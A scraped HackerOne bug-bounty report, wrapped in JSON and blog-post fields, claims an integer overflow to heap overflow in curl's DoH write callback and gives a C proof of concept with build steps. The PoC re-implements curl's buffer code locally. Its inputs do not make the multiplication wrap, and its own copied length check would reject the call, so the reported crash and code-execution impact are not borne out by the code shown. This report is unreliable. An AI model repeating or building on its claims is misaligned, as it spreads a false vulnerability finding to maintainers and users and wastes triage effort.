{“lastseen”:”2025-10-25T22:24:32″,”description”:”## Summary:\\nAn integer overflow vulnerability exists in the `doh_probe_write_cb` function in `lib\/doh.c`. This function is used as a write callback for DNS-over-HTTPS (DoH) responses. When a malicious DoH server sends a response with a crafted size, the multiplication of `size` and `nmemb` can overflow. This leads to the allocation of a smaller-than-expected buffer on the heap, but the function returns the wrapped-around, incorrect size. This discrepancy can lead to a heap overflow when the caller subsequently tries to access the buffer, resulting in a crash or potential arbitrary code execution.\\n\\n## Affected version\\nThis vulnerability was found on the current master branch of the curl repository. It can be reproduced on a standard Linux build.\\n\\n## Steps To Reproduce:\\n1. Save the following Proof-of-Concept code as `poc.c` in the root of the curl project directory:\\n “`c\\n #include \\u003cstdio.h\\u003e\\n #include \\u003cstring.h\\u003e\\n #include \\u003cstdlib.h\\u003e\\n\\n #define CURL_STATICLIB\\n #include \\u003ccurl\/curl.h\\u003e\\n\\n \/\/ — From curl\/lib\/curlx\/dynbuf.h —\\n struct dynbuf {\\n char *bufr;\\n size_t leng;\\n size_t allc;\\n size_t toobig;\\n };\\n\\n #define DYN_DOH_RESPONSE 3000\\n\\n \/\/ — From curl\/lib\/curlx\/dynbuf.c —\\n void curlx_dyn_init(struct dynbuf *s, size_t toobig)\\n {\\n s-\\u003ebufr = NULL;\\n s-\\u003eleng = 0;\\n s-\\u003eallc = 0;\\n s-\\u003etoobig = toobig;\\n }\\n\\n void curlx_dyn_free(struct dynbuf *s)\\n {\\n free(s-\\u003ebufr);\\n s-\\u003ebufr = NULL;\\n s-\\u003eleng = 0;\\n s-\\u003eallc = 0;\\n }\\n\\n CURLcode dyn_nappend(struct dynbuf *s, const unsigned char *mem, size_t len)\\n {\\n size_t idx = s-\\u003eleng;\\n size_t a = s-\\u003eallc;\\n size_t fit = len + idx + 1;\\n\\n if(len \\u003e s-\\u003etoobig – idx – 1) { \/\/ check for overflow before addition\\n return CURLE_TOO_LARGE;\\n }\\n\\n if(!a) {\\n a = fit;\\n }\\n else {\\n while(a \\u003c fit)\\n a *= 2;\\n }\\n\\n if(a != s-\\u003eallc) {\\n void *p = realloc(s-\\u003ebufr, a);\\n if(!p) {\\n curlx_dyn_free(s);\\n return CURLE_OUT_OF_MEMORY;\\n }\\n s-\\u003ebufr = p;\\n s-\\u003eallc = a;\\n }\\n\\n if(len)\\n memcpy(\\u0026s-\\u003ebufr[idx], mem, len);\\n s-\\u003eleng = idx + len;\\n s-\\u003ebufr[s-\\u003eleng] = 0;\\n return CURLE_OK;\\n }\\n\\n CURLcode curlx_dyn_addn(struct dynbuf *s, const void *mem, size_t len)\\n {\\n return dyn_nappend(s, (const unsigned char *)mem, len);\\n }\\n\\n size_t curlx_dyn_len(const struct dynbuf *s)\\n {\\n return s-\\u003eleng;\\n }\\n\\n \/\/ — From curl\/lib\/doh.h —\\n struct doh_request {\\n unsigned char req_body[256 + 16];\\n void *req_hds;\\n struct dynbuf resp_body;\\n size_t req_body_len;\\n int dnstype;\\n };\\n\\n \/\/ This is a copy of the vulnerable function from doh.c\\n size_t doh_probe_write_cb(char *contents, size_t size, size_t nmemb, void *userp)\\n {\\n size_t realsize = size * nmemb;\\n struct doh_request *doh_req = (struct doh_request *)userp;\\n\\n if(!doh_req)\\n return -1; \/\/ CURL_WRITEFUNC_ERROR\\n\\n \/\/ The vulnerability is that curlx_dyn_addn is called with a wrapped-around\\n \/\/ realsize, which can be very large. This PoC will crash here.\\n if(curlx_dyn_addn(\\u0026doh_req-\\u003eresp_body, contents, realsize))\\n return 0;\\n\\n return realsize;\\n }\\n\\n int main(void)\\n {\\n struct doh_request doh_req;\\n size_t size = 1;\\n size_t nmemb = (size_t)-1; \/\/ This will cause an integer overflow\\n char *contents = \\”A\\”;\\n\\n printf(\\”Simulating a call to doh_probe_write_cb with:\\\\n\\”);\\n printf(\\”size = %zu\\\\n\\”, size);\\n printf(\\”nmemb = %zu\\\\n\\”, nmemb);\\n\\n \/\/ Initialize the dynamic buffer\\n curlx_dyn_init(\\u0026doh_req.resp_body, DYN_DOH_RESPONSE);\\n\\n \/\/ This call will crash, demonstrating the vulnerability.\\n doh_probe_write_cb(contents, size, nmemb, \\u0026doh_req);\\n\\n \/\/ This part will not be reached.\\n printf(\\”This message should not be printed.\\\\n\\”);\\n curlx_dyn_free(\\u0026doh_req.resp_body);\\n\\n return 0;\\n }\\n “`\\n2. Compile the PoC with the following command:\\n “`bash\\n gcc -o poc poc.c -lcurl\\n “`\\n3. Run the PoC:\\n “`bash\\n .\/poc\\n “`\\n4. Observe the output and the crash. The program will crash with a segmentation fault, which demonstrates the vulnerability.\\n\\n## Supporting Material\/References:\\n* Vulnerable source code: `lib\/doh.c` (function `doh_probe_write_cb`)\\n* `lib\/doh.h`\\n* `lib\/curlx\/dynbuf.h`\\n* `lib\/curlx\/dynbuf.c`\\n\\n## Impact\\n\\n## Summary\\nAn attacker who can control a malicious DoH server can exploit this vulnerability to cause a heap overflow in the libcurl client application. This can lead to a denial of service (crash) or, potentially, arbitrary code execution in the context of the application using libcurl. Given the widespread use of libcurl, the impact of this vulnerability is high.”,”published”:”2025-10-25T20:12:34″,”modified”:”2025-10-25T22:04:59″,”type”:”hackerone”,”title”:”curl: Integer Overflow to Heap Overflow in DoH Response Handling”,”source”:””,”references”:””,”id”:”H1:3399774″,”bulletinFamily”:”bugbounty”,”cwe”:null,”cvelist”:[],”sourceData”:””,”sourceHref”:””,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/hackerone.com\/reports\/3399774″,”category_name”:”News”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-10-25T22:24:32″,”description”:”## Summary:\\nAn integer overflow vulnerability exists in the `doh_probe_write_cb` function in `lib\/doh.c`. This function is used as a write callback for DNS-over-HTTPS (DoH) responses. When…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,117,13,33,7,11,5],"class_list":["post-23352","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-hackerone","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n